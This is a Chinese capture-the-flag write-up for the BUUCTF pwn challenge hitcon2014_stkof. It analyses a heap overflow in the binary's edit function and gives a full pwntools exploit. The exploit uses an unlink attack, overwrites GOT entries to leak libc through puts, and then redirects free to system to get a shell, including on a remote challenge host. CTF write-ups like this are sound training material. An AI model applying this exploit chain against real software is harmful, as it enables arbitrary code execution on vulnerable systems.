buuctf——hitcon2014_stkof
参考链接
[color=]https://blog.csdn.net/mcmuyanga/article/details/112602827
[color=]https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/
题目信息
libc_2.23、64位

1截图.png (36.68 KB, 下载次数: 2)
下载附件
2023-10-1 13:52 上传
没有setbuf函数,因此程序不会自动申请标准输入与标准输出的堆空间(大小为0x410),且这些堆空间是用的时候才会被申请的,因此本题中申请的第一个堆会被两个0x410的堆夹在中间。

2截图.png (50.47 KB, 下载次数: 3)
下载附件
2023-10-1 13:52 上传
add函数中初始化了堆大小

3截图.png (70.98 KB, 下载次数: 1)
下载附件
2023-10-1 13:52 上传
edit函数由用户自定义大小,可以溢出

4截图.png (34.44 KB, 下载次数: 2)
下载附件
2023-10-1 13:52 上传
注意,free函数会将结构体的地址清零,从而无法构造unlink链。

5截图.png (23.86 KB, 下载次数: 1)
下载附件
2023-10-1 13:52 上传
show函数无法控制输出的内容,本题中不会使用。

6截图.png (26.51 KB, 下载次数: 1)
下载附件
2023-10-1 13:52 上传
解题思路
unlink的常见利用方式仅限于2.27之前,也只有本题利用了unlink,算是小众方法。【特殊性】由于show函数的缘故,无法通过常规方法通过puts函数输出puts_got最后得到libc的地址,所以需要修改结构体的地址为free_got再用edit函数将内容指向puts_plt,才可以得到puts_got。
【类比】这种思路同fastbin attack相同,都是直接修改结构体的内容,但是本题找不到=、=。
【解法】
关键步骤
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "./hitcon2014_stkof"
if __name__ == '__main__':
local = sys.argv[1]
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",28964)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
def add(size):
sl("1")
sl(str(size))
def edit(index,content):
sl("2")
sl(str(index))
sl(str(len(content)))
sl(content)
def free(index):
sl("3")
sl(str(index))
def show(index):
sl("4")
sl(str(index))
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
bss = 0x602140
target = bss+0x10
add(0x10) #1
add(0x20) #2
add(0x80) #3
add(0x20) #4
payload = p64(0) + p64(0x21) + p64(target-0x18) + p64(target-0x10) + p64(0x20) + p64(0x90)
edit(2,payload)
free(3)
# db()
payload = p64(0) + p64(free_got) + p64(puts_got)
edit(2,payload)
edit(0,p64(puts_plt))
free(1)
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym["system"]
lg('libc_base')
# db()
edit(4,"/bin/sh")
edit(0,p64(system_addr))
free(4)
ti()